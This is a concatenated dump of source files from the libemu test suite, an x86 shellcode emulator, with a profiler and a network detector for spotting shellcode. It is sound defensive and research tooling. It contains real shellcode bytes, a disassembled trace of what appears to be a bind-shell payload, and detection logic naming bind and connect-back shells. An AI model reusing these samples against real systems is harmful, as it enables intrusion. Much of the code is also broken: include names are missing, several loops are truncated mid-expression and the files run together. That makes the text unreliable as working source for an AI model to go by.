.in_state.mem_state = {0x40000, 0x44443333}, .in_state.eflags = FLAG(f_cf), .out_state.reg = {0x55555556,0x40000,0,0,0,0,0,0}, .out_state.mem_state = {0x40000, 0x44443333}, .out_state.eflags = FLAG(f_pf), }, { .instr = "adc ecx,[ebx+eax*4+0xdeadbeef]", .code = "\x13\x8c\x83\xef\xbe\xad\xde", .codesize = 7, .in_state.reg = {0x2,0x1,0,0x1,0,0,0,0}, .in_state.mem_state = {0xdeadbef8, 0x44443333}, .out_state.reg = {0x2,0x44443334,0,0x1,0,0,0,0}, .out_state.mem_state = {0xdeadbef8, 0x44443333}, }, /* 14 */ { .instr = "adc al,0x11", // .code = "\x04\x11", // .codesize = 2, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22222233,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, /* 15 */ { .instr = "adc ax,0x1111", .code = "\x66\x15\x11\x11", .codesize = 4, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x22223333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "adc eax,0x11111111", .code = "\x15\x11\x11\x11\x11", .codesize = 5, .in_state.reg = {0x22222222,0,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0x33333333,0,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "jmp ecx", .in_state.reg = {0,0xdeadbeef,0,0,0,0,0,0}, .in_state.mem_state = {0, 0}, .out_state.reg = {0,0xdeadbeef,0,0,0,0,0,0}, .out_state.mem_state = {0, 0}, .out_state.eip = 0xdeadbeef, }, { .instr = "jmp [eax]", .in_state.reg = {0xdeadbabe,0,0,0,0,0,0,0}, .in_state.mem_state = {0xdeadbabe, 0xdeafcafe}, .out_state.reg = {0xdeadbabe,0,0,0,0,0,0,0}, .out_state.mem_state = {0xdeadbabe, 0xdeafcafe}, .out_state.eip = 0xdeafcafe, }, { .instr = "jmp +16", .code = "\xeb\x10", /* jmp +16*/ .codesize = 2, .out_state.eip = (CODE_OFFSET + 2 + 0x10), }, { .instr = "jmp -1", .code = "\xeb\xff", /* jmp -1 */ .codesize = 2, .out_state.eip = (CODE_OFFSET + 2 + -1), }, { .instr = "jmp +0x01000000", .code = "\xe9\x00\x00\x00\x01", /* jmp +0x01000000 */ .codesize = 5, .out_state.eip = (CODE_OFFSET + 5 + 0x1000000), }, { .instr = "mov al, 0xff", .out_state.reg = {0xff,0,0,0,0,0,0,0}, }, { .instr = "mov ah, 0xff", .out_state.reg = {0xff00,0,0,0,0,0,0,0}, }, { .instr = "mov ax, 0xffff", .code = "\x66\xb8\xff\xff", .codesize = 4, .out_state.reg = {0xffff,0,0,0,0,0,0,0}, }, { .instr = "mov eax, 0xffffffff", .code = "\xb8\xff\xff\xff\xff", .codesize = 5, .out_state.reg = {0xffffffff,0,0,0,0,0,0,0}, }, { .instr = "mov eax, [esp+0x24]", .in_state.mem_state = {0xffffff24, 0xfefefefe}, .in_state.reg = {0,0,0,0,0xffffff00,0,0,0}, .out_state.mem_state = {0xffffff24, 0xfefefefe}, .out_state.reg = {0xfefefefe,0,0,0,0xffffff00,0,0,0}, }, { .instr = "xor dword [eax+0x1000], 0x11111111", .code = "\x81\xb0\x00\x10\x00\x00\x11\x11\x11\x11", .codesize = 10, .in_state.mem_state = {0x2000, 0x22222222}, .in_state.reg = {0x1000,0,0,0,0,0,0,0}, .out_state.mem_state = {0x2000, 0x33333333}, .out_state.reg = {0x1000,0,0,0,0,0,0,0}, .out_state.eflags = FLAG(f_pf), }, { .instr = "mov eax, [ebp+ecx*4-0x100]", .code = "\x8b\x84\x8d\x00\xff\xff\xff", .codesize = 7, .in_state.mem_state = {0x140, 0x22222222}, .in_state.reg = {0x1000,0x10,0,0,0,0x200,0,0}, .out_state.reg = {0x22222222,0x10,0,0,0,0x200,0,0}, }, { .instr = "mov eax, [ebp+ecx*4-0x10000000]", .code = "\x8b\x84\x8d\x00\x00\x00\xf0", .codesize = 7, .in_state.mem_state = {0x14000000, 0x22222222}, .in_state.reg = {0x1000,0x1000000,0,0,0,0x20000000,0,0}, .out_state.reg = {0x22222222,0x1000000,0,0,0,0x20000000,0,0}, }, }; int prepare(void) { int i; for (i=0;i #include #include #include #include #include #include #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_cpu.h" #include "emu/emu_log.h" static const char *regm[] = { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" }; struct run_options { uint8_t single_step; uint8_t append_no_break; uint8_t from_stdin; uint32_t regs[8]; }; int main(int argc, char *argv[]) { struct run_options opt; memset(&opt, 0, sizeof(struct run_options)); int c; int i; // int digit_optind = 0; while ( 1 ) { // int this_option_optind = optind ? optind : 1; int option_index = 0; static struct option long_options[] = { {"append-no-break" , 0, 0, 'a'}, {"single-step" , 0, 0, 's'}, {"eax" , 1, 0, 'A'}, {"ebx" , 1, 0, 'B'}, {"ecx" , 1, 0, 'C'}, {"edx" , 1, 0, 'D'}, {"edi" , 1, 0, 'I'}, {"ebp" , 1, 0, 'P'}, {"esi" , 1, 0, 'X'}, {"esp" , 1, 0, 'Y'}, {"stdin" , 0, 0, 'S'}, {0, 0, 0, 0} }; c = getopt_long (argc, argv, "asSA:B:C:D:I:P:X:Y:", long_options, &option_index); if ( c == -1 ) break; switch ( c ) { case 'a': opt.append_no_break = 1; printf("won't append break\n"); break; case 's': opt.single_step = 1; printf("single step\n"); break; case 'S': opt.from_stdin = 1; printf("reading from stdin\n"); break; case 'A': // eax if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[eax] = strtoul(optarg+2, NULL, 16); else opt.regs[eax] = strtoul(optarg, NULL, 10); break; case 'B': // ebx if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[ebx] = strtoul(optarg+2, NULL, 16); else opt.regs[ebx] = strtoul(optarg, NULL, 10); break; case 'C': // ecx if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[ecx] = strtoul(optarg+2, NULL, 16); else opt.regs[ecx] = strtoul(optarg, NULL, 10); break; case 'D': // edx if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[edx] = strtoul(optarg+2, NULL, 16); else opt.regs[edx] = strtoul(optarg, NULL, 10); break; case 'I': // edi if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[edi] = strtoul(optarg+2, NULL, 16); else opt.regs[edi] = strtoul(optarg, NULL, 10); break; case 'P': // ebp if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[ebp] = strtoul(optarg+2, NULL, 16); else opt.regs[ebp] = strtoul(optarg, NULL, 10); break; case 'X': // esi if ( strncmp(optarg,"0x", 2) == 0 ) opt.regs[esi] = strtoul(optarg+2, NULL, 16); else opt.regs[esi] = strtoul(optarg, NULL, 10); break; case 'Y': // esp if (strncmp(optarg,"0x", 2) == 0) opt.regs[esp] = strtoul(optarg+2, NULL, 16); else opt.regs[esp] = strtoul(optarg, NULL, 10); break; default: printf ("?? getopt returned character code 0%o ??\n", c); break; } } /* if ( optind < argc ) { printf ("non-option ARGV-elements: "); while ( optind < argc ) printf ("%s ", argv[optind++]); printf ("\n"); } */ for ( i=0;i<8;i++ ) { printf("%s is %08x\n", regm[i],(unsigned int)opt.regs[i]); } unsigned char *scode=NULL; uint32_t size; if ( opt.from_stdin ) { unsigned buffer[BUFSIZ]; int ret, eof=0; int16_t bytes_read=0; uint32_t len=0; fd_set read_fds; struct timeval st; while ( !eof ) { FD_ZERO(&read_fds); FD_SET(STDIN_FILENO, &read_fds); st.tv_sec = 10; st.tv_usec = 0; switch ( ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &st) ) { case -1: fprintf(stderr, "Error with select(): %s.\n", strerror(errno)); exit(1); case 0: break; default: if ( FD_ISSET(STDIN_FILENO, &read_fds) ) { if ( (bytes_read = read(STDIN_FILENO, buffer, BUFSIZ)) <= 0 ) { if ( bytes_read == 0 ) eof = 1; else { fprintf(stderr, "Error while reading data: %s.\n", strerror(errno)); exit(1); } } if ( !eof ) { if ( (scode = (unsigned char *) realloc(scode, len+bytes_read)) == NULL ) { fprintf(stderr, "Error while allocating memory: %s.\n", strerror(errno)); exit(1); } memcpy(scode+len, buffer, bytes_read); len += bytes_read; } } } } size = len; }else { printf("reading from file %s\n", argv[optind]); FILE *f; if (( f = fopen(argv[optind],"r")) == NULL) perror("could not open file"); int16_t bytes_read=0; uint32_t len=0; while (feof(f) == 0) { unsigned buffer[BUFSIZ]; bytes_read = fread(buffer, 1, 1, f); // printf("read %i bytes %s %i\n", bytes_read, strerror(errno), ferror(f)); if ( (scode = (unsigned char *) realloc(scode, len+bytes_read)) == NULL ) { fprintf(stderr, "Error while allocating memory: %s.\n", strerror(errno)); exit(1); } memcpy(scode+len, buffer, bytes_read); len += bytes_read; } printf("read %i bytes\n", len); int i; for (i=0;i #include #include "emu/emu.h" #include "emu/emu_memory.h" #include "emu/emu_log.h" int main(void) { struct emu *e = emu_new(); emu_log_level_set(emu_logging_get(e), EMU_LOG_DEBUG); /* memory test */ struct emu_memory *mem = emu_memory_get(e); int n = 0xff; uint8_t testbytes[n]; uint32_t testaddresses[n]; int i; for( i = 0; i < n; i++ ) { testbytes[i] = rand() % 0xff; testaddresses[i] = rand() % 0xff; testaddresses[i] <<= 8; testaddresses[i] |= rand() % 0xff; testaddresses[i] <<= 8; testaddresses[i] |= rand() % 0xff; testaddresses[i] <<= 8; testaddresses[i] |= rand() % 0xff; emu_memory_write_byte(mem, testaddresses[i], testbytes[i]); } for( i = 0; i < n; i++ ) { uint8_t byte; emu_memory_read_byte(mem, testaddresses[i], &byte); if( byte != testbytes[i] ) { printf("!!! memtest failed, expected %02x got %02x\n", testbytes[i], byte); return -1; } } emu_free(e); return 0; } libemu-0.2.0+git20120122+564/testsuite/scprofiler.c0000644000175300017530000001661511706767213020421 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2008 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include "../config.h" #define HAVE_GETOPT_H #ifdef HAVE_GETOPT_H #include #endif #ifdef HAVE_STDLIB_H #include #endif #include #define HAVE_UNISTD #ifdef HAVE_UNISTD #include #endif #include #include #include #include "emu/environment/emu_profile.h" #include "emu/environment/win32/emu_env_w32.h" struct run_options { char *profile_name; char *function_name; char *argument_name; bool profile; bool debug_dump; }; struct run_options opts; struct emu_profile_function *find_function(struct emu_profile *profile, const char *fnname) { struct emu_profile_function *function; for ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) ) { if ( strcmp(function->fnname,fnname) == 0 ) return function; } return NULL; } struct emu_profile_argument *find_argument(struct emu_profile_function *function, const char *name) { struct emu_profile_argument *argument; for ( argument = emu_profile_arguments_first(function->arguments); !emu_profile_arguments_istail(argument); argument = emu_profile_arguments_next(argument) ) { if ( strcmp(argument->argname,name) == 0 ) return argument; } return NULL; } typedef void (*print_function)(struct emu_profile_function *function, void *args[]); struct function_render { const char *function; print_function printer; }; void print_connect(struct emu_profile_function *function, void *args[]) { // int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); int retval = *(int *)args[0]; int sockfd = *(int *)args[1]; struct sockaddr_in *addrin = *(struct sockaddr_in **)(void **)args[2]; socklen_t addrlen = *(socklen_t *)args[3]; printf("%i = %s(int sockfd=%i, const struct sockaddr *serv_addr=%s:%i, socklen_t addrlen=%i);\n", retval, function->fnname, sockfd, inet_ntoa(addrin->sin_addr), ntohs(addrin->sin_port), addrlen); } void print_CreateProcess(struct emu_profile_function *function, void *args[]) { /*BOOL CreateProcess( LPCWSTR pszImageName, LPCWSTR pszCmdLine, LPSECURITY_ATTRIBUTES psaProcess, LPSECURITY_ATTRIBUTES psaThread, BOOL fInheritHandles, DWORD fdwCreate, LPVOID pvEnvironment, LPWSTR pszCurDir, LPSTARTUPINFOW psiStartInfo, LPPROCESS_INFORMATION pProcInfo );*/ bool retval = *(bool *)args[0]; char *psCmdLine = *(char **)(void **)args[2]; printf("%i = %s(\"%s\");\n", retval, function->fnname, psCmdLine); } struct function_render function_rendering[] = { { "connect", print_connect}, { "bind", print_connect}, { "CreateProcess", print_CreateProcess} }; int main(int argc, char *argv[]) { int option_index = 0; memset(&opts, 0, sizeof(struct run_options)); while ( 1 ) { int c; static struct option long_options[] = { {"argument" , 1, 0, 'a'}, {"debugdump" , 1, 0, 'd'}, {"function" , 1, 0, 'f'}, {"profile" , 0, 0, 'p'}, {0, 0, 0, 0} }; c = getopt_long (argc, argv, "a:df:p", long_options, &option_index); if ( c == -1 ) break; switch ( c ) { case 'a': opts.argument_name = strdup(optarg); printf("argument %s\n", optarg); break; case 'd': opts.debug_dump = true; break; case 'f': opts.function_name = strdup(optarg); printf("function %s\n", optarg); break; case 'p': opts.profile = true; break; default: printf ("?? getopt returned character code 0%o ??\n", c); break; } } if ( optind < argc ) { opts.profile_name = strdup(argv[optind]); printf("Profile %s\n", argv[optind]); } struct emu_profile *profile = emu_profile_new(); if ( emu_profile_parse(profile, opts.profile_name) != 0 ) { printf("error parsing file %s!\n",opts.profile_name); return -1; } if ( opts.profile ) { // printf("profiling ....\n"); enum profile_state { PS_NONE, PS_WSASOCKET, PS_BIND, PS_LISTEN, PS_ACCEPT, PS_CONNECT, PS_CREATEPROCESS, PS_URLDOWNLOADTOFILE }; enum profile_state state = PS_NONE; struct emu_profile_function *function; for ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) ) { // printf("state %i\n", state); switch ( state ) { case PS_NONE: if ( strcmp("WSAStartup", function->fnname) == 0 ) state = PS_WSASOCKET; else if ( strcmp("URLDownloadToFile", function->fnname) == 0 ) printf("url download\n"); break; case PS_WSASOCKET: if ( strcmp("bind", function->fnname) == 0 ) state = PS_BIND; else if ( strcmp("connect", function->fnname) == 0 ) state = PS_CONNECT; break; case PS_BIND: if ( strcmp("listen", function->fnname) == 0 ) state = PS_LISTEN; break; case PS_LISTEN: if ( strcmp("accept", function->fnname) == 0 ) state = PS_ACCEPT; break; case PS_ACCEPT: if ( strcmp("CreateProcess", function->fnname) == 0 ) printf("bindshell\n"); else if ( strcmp("recv", function->fnname) == 0 ) printf("bindfiletransfer"); break; case PS_CONNECT: if ( strcmp("CreateProcess", function->fnname) == 0 ) printf("connectbackshell\n"); else if ( strcmp("recv", function->fnname) == 0 ) printf("connectback transfer"); break; default: break; } } } if ( opts.debug_dump ) { emu_profile_debug(profile); } struct emu_profile_function *function; for ( function = emu_profile_functions_first(profile->functions); !emu_profile_functions_istail(function); function = emu_profile_functions_next(function) ) { int argc = emu_profile_arguments_length(function->arguments); void **args = malloc( (argc+1) * sizeof(void *)); int i; for ( i = 0; i <= argc; i++ ) args[i] = emu_profile_function_argument_get(function, i); for ( i=0;i< sizeof(function_rendering)/sizeof(struct function_render);i++ ) { if ( strcmp(function->fnname, function_rendering[i].function) == 0 ) { function_rendering[i].printer(function, args); goto found_function; } } printf("could not find function %s\n",function->fnname); found_function: for ( i = 0; i < argc+1; i++ ) free(args[i]); } // emu_profile_debug(profile); emu_profile_free(profile); return 0; } libemu-0.2.0+git20120122+564/testsuite/hashtest.c0000644000175300017530000001456711706767213020100 0ustar dt-npbdt-npb#include #include #include struct addr_instr { uint32_t addr; const char *instr; }; struct addr_instr insert_data[] = { { 0x0012fc90, "sub esp,0x20"}, { 0x0012fc93, "mov ebp,esp"}, { 0x0012fc95, "mov [ebp+0x4],ebx"}, { 0x0012fc98, "mov [ebp+0x0],edi"}, { 0x0012fc9b, "sub esp,0x200"}, { 0x0012fca1, "mov [ebp+0x14],esp"}, { 0x0012fca4, "xor ebx,ebx"}, { 0x0012fca6, "mov eax,fs:[ebx+0x30]"}, { 0x0012fcaa, "mov eax,[eax+0xc]"}, { 0x0012fcad, "mov esi,[eax+0x1c]"}, { 0x0012fcb0, "lodsd "}, { 0x0012fcb1, "mov edi,[eax+0x8]"}, { 0x0012fcb4, "mov [ebp+0x8],edi"}, { 0x0012fcb7, "call 0x4a"}, { 0x0012fcbc, "push ebx"}, { 0x0012fcbd, "push esi"}, { 0x0012fcbe, "mov ebx,[edi+0x3c]"}, { 0x0012fcc1, "mov ebx,[ebx+edi+0x78]"}, { 0x0012fcc5, "add ebx,edi"}, { 0x0012fcc7, "push ebx"}, { 0x0012fcc8, "mov ebx,[ebx+0x20]"}, { 0x0012fccb, "add ebx,edi"}, { 0x0012fccd, "push ebx"}, { 0x0012fcce, "add ebx,0x4"}, { 0x0012fcd1, "mov esi,[ebx]"}, { 0x0012fcd3, "add esi,edi"}, { 0x0012fcd5, "xor ecx,ecx"}, { 0x0012fcd7, "lodsb "}, { 0x0012fcd8, "xor cl,al"}, { 0x0012fcda, "rol ecx,0x5"}, { 0x0012fcdd, "test al,al"}, { 0x0012fcdf, "jnz 0xfffffff8"}, { 0x0012fce1, "sub ecx,edx"}, { 0x0012fce3, "jnz 0xffffffeb"}, { 0x0012fd01, "pop esi"}, { 0x0012fd02, "push dword"}, { 0x0012fd07, "push dword"}, { 0x0012fd0c, "push esp"}, { 0x0012fd0d, "mov edx,0x84046e92"}, { 0x0012fd12, "call esi"}, { 0x00402002, "nop "}, { 0x00402003, "nop "}, { 0x00402004, "nop "}, { 0x00402005, "jmp 0x6"}, { 0x0040200b, "nop "}, { 0x0040200c, "nop "}, { 0x0040200d, "nop "}, { 0x0040200e, "nop "}, { 0x0040200f, "nop "}, { 0x00402010, "nop "}, { 0x00402011, "nop "}, { 0x00402012, "nop "}, { 0x00402013, "jmp 0x6"}, { 0x00402019, "nop "}, { 0x0040201a, "nop "}, { 0x0040201b, "jmp 0x6"}, { 0x00402021, "nop "}, { 0x00402022, "nop "}, { 0x00402023, "nop "}, { 0x00402024, "nop "}, { 0x00402025, "nop "}, { 0x00402026, "nop "}, { 0x00402027, "nop "}, { 0x00402028, "nop "}, { 0x00402029, "nop "}, { 0x0040202a, "nop "}, { 0x0040202b, "nop "}, { 0x0040202c, "nop "}, { 0x0040202d, "nop "}, { 0x0040202e, "nop "}, { 0x0040202f, "nop "}, { 0x00402030, "nop "}, { 0x00402031, "nop "}, { 0x00402032, "nop "}, { 0x00402033, "nop "}, { 0x00402034, "nop "}, { 0x00402035, "jmp 0x17"}, { 0x00402037, "mov ecx,0x4113e68b"}, { 0x0040203c, "xor ecx,0x4113e64d"}, { 0x00402042, "pop esi"}, { 0x00402043, "xor byte"}, { 0x00402048, "loop 0xfffffffb"}, { 0x0040204a, "jmp 0x7"}, { 0x0040204c, "call 0xffffffeb"}, { 0x00402051, "xor ebx,ebx"}, { 0x00402053, "mov eax,fs:[ebx+0x30]"}, { 0x00402057, "mov eax,[eax+0xc]"}, { 0x0040205a, "mov esi,[eax+0x1c]"}, { 0x0040205d, "lodsd "}, { 0x0040205e, "mov edi,[eax+0x8]"}, { 0x00402061, "call 0x4a"}, { 0x00402066, "push ebx"}, { 0x00402067, "push esi"}, { 0x00402068, "mov ebx,[edi+0x3c]"}, { 0x0040206b, "mov ebx,[ebx+edi+0x78]"}, { 0x0040206f, "add ebx,edi"}, { 0x00402071, "push ebx"}, { 0x00402072, "mov ebx,[ebx+0x20]"}, { 0x00402075, "add ebx,edi"}, { 0x00402077, "push ebx"}, { 0x00402078, "add ebx,0x4"}, { 0x0040207b, "mov esi,[ebx]"}, { 0x0040207d, "add esi,edi"}, { 0x0040207f, "xor ecx,ecx"}, { 0x00402081, "lodsb "}, { 0x00402082, "xor cl,al"}, { 0x00402084, "rol ecx,0x5"}, { 0x00402087, "test al,al"}, { 0x00402089, "jnz 0xfffffff8"}, { 0x0040208b, "sub ecx,edx"}, { 0x0040208d, "jnz 0xffffffeb"}, { 0x0040208f, "pop eax"}, { 0x00402090, "sub ebx,eax"}, { 0x00402092, "shr ebx,0x1"}, { 0x00402094, "pop esi"}, { 0x00402095, "add ebx,[esi+0x24]"}, { 0x00402098, "add ebx,edi"}, { 0x0040209a, "mov cx,[ebx]"}, { 0x0040209d, "mov ebx,[esi+0x1c]"}, { 0x004020a0, "add ebx,edi"}, { 0x004020a2, "mov eax,[ebx+ecx*4]"}, { 0x004020a5, "add eax,edi"}, { 0x004020a7, "pop esi"}, { 0x004020a8, "pop ebx"}, { 0x004020a9, "jmp eax"}, { 0x004020ab, "pop esi"}, { 0x004020ac, "push dword"}, { 0x004020b1, "push dword"}, { 0x004020b6, "push esp"}, { 0x004020b7, "mov edx,0x84046e92"}, { 0x004020bc, "call esi"}, { 0x004020be, "mov edi,eax"}, { 0x004020c0, "sub esp,0x200"}, { 0x004020c6, "mov ebp,esp"}, { 0x004020c8, "push ebx"}, { 0x004020c9, "push byte"}, { 0x004020cb, "push byte"}, { 0x004020cd, "mov edx,0x835383"}, { 0x004020d2, "call esi"}, { 0x004020d4, "push ebx"}, { 0x004020d5, "push ebx"}, { 0x004020d6, "push ebx"}, { 0x004020d7, "push dword"}, { 0x004020dc, "mov edx,esp"}, { 0x004020de, "mov ebx,eax"}, { 0x004020e0, "push byte"}, { 0x004020e2, "push edx"}, { 0x004020e3, "push ebx"}, { 0x004020e4, "mov edx,0xc2a69000"}, { 0x004020e9, "call esi"}, { 0x004020eb, "inc eax"}, { 0x004020ec, "push eax"}, { 0x004020ed, "push ebx"}, { 0x004020ee, "mov edx,0xa1733b7a"}, { 0x004020f3, "call esi"}, { 0x004020f5, "push eax"}, { 0x004020f6, "push eax"}, { 0x004020f7, "push ebx"}, { 0x004020f8, "mov edx,0x69d310"}, { 0x004020fd, "call esi"}, { 0x004020ff, "mov ebx,eax"}, { 0x00402101, "xor eax,eax"}, { 0x00402103, "push eax"}, { 0x00402104, "mov ah,0x2"}, { 0x00402106, "push eax"}, { 0x00402107, "push ebp"}, { 0x00402108, "push ebx"}, { 0x00402109, "mov edx,0xe2605800"}, { 0x0040210e, "call esi"}, { 0x00402110, "mov edi,0x72c6e0d5"}, { 0x00402115, "jmp ebp"} }; struct addr_instr dup_data[] = { { 0x0012fc90, "fox"}, { 0x0012fc90, "foo"}, { 0x0012fc90, "bar"}, { 0x0012fc90, "baz"}, { 0x0012fc90, "success"} }; int main(void) { struct emu_hashtable *eh = emu_hashtable_new(4095, emu_hashtable_ptr_hash, emu_hashtable_ptr_cmp); int i; for (i=0;ivalue) != 0 ) { printf("mismatch %x %s %s\n", insert_data[i].addr, insert_data[i].instr, (char *)(ehi->value)); return -1; } } for (i=0;ivalue); } // printf("success\n"); // emu_hashtable_free(eh); // eh = emu_hashtable_double_new(4095, double_hash1 return 0; } libemu-0.2.0+git20120122+564/testsuite/instrtree.c0000644000175300017530000000625311706767213020265 0ustar dt-npbdt-npb/******************************************************************************** * libemu * * - x86 shellcode emulation - * * * Copyright (C) 2007 Paul Baecher & Markus Koetter * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * * * contact nepenthesdev@users.sourceforge.net * *******************************************************************************/ #include #include "../src/libdasm.c" #include "../src/libdasm.h" /* JMPCall const char scode[] = "\xfc\xbb\xbf\x05\xeb\xd0\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3" "\x85\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\x43\x6f\x00\x97\x53"; */ const char scode[] = "\x33\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x47" "\x13\x2b\xc0\x83\xee\xfc\xe2\xf4\xbb\x79\xc0\x8d\xaf\xea\xd4\x3f"; void indent(int lev) { int j; for ( j=0; j offset) break; INSTRUCTION inst; uint8_t isize = get_instruction(&inst, data+offset-i, MODE_32); if ( /*isize <= 0 ||*/ isize != i ) continue; indent(level); printf("instrsize %i\n", i); get_instruction_string(&inst, FORMAT_INTEL, 0, str, sizeof(str)); indent(level); printf("%s\n", str); if ( offset - isize >= 1 ) instrtree(data, datasize, offset-isize, level+1); // else // return; } } int main(void) { // int i; // // instrtree((uint8_t *)scode, 16*7, 16*7 0); unsigned int i; for ( i=0;i \"%08X %s\";\n",off1,str1,off2,str2); } return 0; } libemu-0.2.0+git20120122+564/testsuite/Makefile.am0000644000175300017530000000126511706767213020134 0ustar dt-npbdt-npbAUTOMAKE_OPTIONS = foreign AM_CPPFLAGS = -I../include -I ../.. -Werror -Wall -g AM_LDFLAGS = -lemu -L../src bin_PROGRAMS = scprofiler noinst_PROGRAMS = testsuite cpurun instrtest instrtree hashtest memtest testsuite_LDADD = ../src/libemu.la testsuite_SOURCES = main.c cpurun_LDADD = ../src/libemu.la cpurun_SOURCES = cpu_run.c instrtest_LDADD = ../src/libemu.la instrtest_SOURCES = instrtest.c #instrtree_LDADD = ../src/libemu.la instrtree_SOURCES = instrtree.c hashtest_LDADD = ../src/libemu.la hashtest_SOURCES = hashtest.c memtest_LDADD = ../src/libemu.la memtest_SOURCES = memtest.c scprofiler_LDADD = ../src/libemu.la scprofiler_SOURCES = scprofiler.c EXTRA_DIST = emunids.c libemu-0.2.0+git20120122+564/testsuite/memtest.c0000644000175300017530000000107211706767213017716 0ustar dt-npbdt-npb#include #include "emu/emu.h" #include "emu/emu_memory.h" void test_alloc(struct emu *e) { const uint32_t len = 4711; uint32_t addr; struct emu_memory *m = emu_memory_get(e); emu_memory_alloc(m, &addr, len); printf("allocd at 0x%08x\n", addr); int i; for( i = 0; i < len; i++ ) { uint8_t byte; if( emu_memory_read_byte(m, addr + i, &byte) ) { printf("error reading allocated byte: %s\n", emu_strerror(e)); } } } int main(int argc, char **argv) { struct emu *e; e = emu_new(); test_alloc(e); emu_free(e); return 0; } libemu-0.2.0+git20120122+564/testsuite/emunids.c0000644000175300017530000000654711706767213017720 0ustar dt-npbdt-npb/* * emunids * * emulation based network intrusion system * * Markus Koetter 2007 * * gcc -Wall -I/opt/libemu/include/ -L/opt/libemu/lib/libemu -o printall printall.c -lnids -lemu * * */ #include #include #include #include #include #include #include #include #include "nids.h" #include #include #include #include #define int_ntoa(x) inet_ntoa(*((struct in_addr *)&x)) struct emu *emu; struct ip; char *adres (struct tuple4 addr) { static char buf[256]; strcpy (buf, int_ntoa (addr.saddr)); sprintf (buf + strlen (buf), ":%i <-> ", addr.source); strcat (buf, int_ntoa (addr.daddr)); sprintf (buf + strlen (buf), ":%i", addr.dest); return buf; } void tcp_callback (struct tcp_stream *a_tcp, void ** this_time_not_needed) { // char buf[1024]; // strcpy (buf, adres (a_tcp->addr)); // we put conn params into buf if ( a_tcp->nids_state == NIDS_JUST_EST ) { a_tcp->client.collect++; a_tcp->client.collect_urg++; a_tcp->server.collect++; a_tcp->server.collect_urg++; // fprintf (stderr, "%s established\n", buf); }/* else if ( a_tcp->nids_state == NIDS_CLOSE ) { fprintf (stderr, "%s closing\n", buf); }else if ( a_tcp->nids_state == NIDS_RESET ) { fprintf (stderr, "%s reset\n", buf); } */ else if ( a_tcp->nids_state == NIDS_DATA ) { struct half_stream *hlf; char *data; int size; if ( a_tcp->server.count_new_urg || a_tcp->server.count_new ) { hlf = &a_tcp->server; }else if ( a_tcp->client.count_new_urg || a_tcp->client.count_new ) { hlf = &a_tcp->client; }else { return; } size = hlf->count - hlf->offset; data = hlf->data; // printf("size is %i\n", size); // printf("count %i offset %i size %i\n",hlf->count, hlf->offset, size); if ( emu_shellcode_test(emu, (uint8_t *)data, size) >= 0 ) { fprintf(stderr, "suspecting shellcode in connection %s\n", adres(a_tcp->addr)); } if (size > 2048) nids_discard(a_tcp, abs(2048-size)); emu_memory_clear(emu_memory_get(emu)); } return ; } void xlog(int type, int err, struct ip *iph, void *data) { char *nids_warnings[] = { "Murphy - you never should see this message !", "Oversized IP packet", "Invalid IP fragment list: fragment over size", "Overlapping IP fragments", "Invalid IP header", "Source routed IP frame", "Max number of TCP streams reached", "Invalid TCP header", "Too much data in TCP receive queue", "Invalid TCP flags" }; if (type != NIDS_WARN_SCAN) { printf("%s\n", nids_warnings[err]); } } int main (int argc, const char *argv[]) { if (argc == 1) { printf("useage %s \n", argv[0]); return -1; }else { printf("listening on device %s\n", argv[1]); } emu = emu_new(); nids_params.device = strdup(argv[1]);; nids_params.syslog = xlog; if ( !nids_init () ) { fprintf(stderr,"%s\n",nids_errbuf); exit(1); } // disable checksumming as host may calculate the checksum on the nic in hardware struct nids_chksum_ctl disable_checksums; disable_checksums.netaddr = 0; disable_checksums.mask = 0; disable_checksums.action = NIDS_DONT_CHKSUM; nids_register_chksum_ctl(&disable_checksums,1); nids_register_tcp (tcp_callback); nids_run (); emu_free(emu); return 0; } 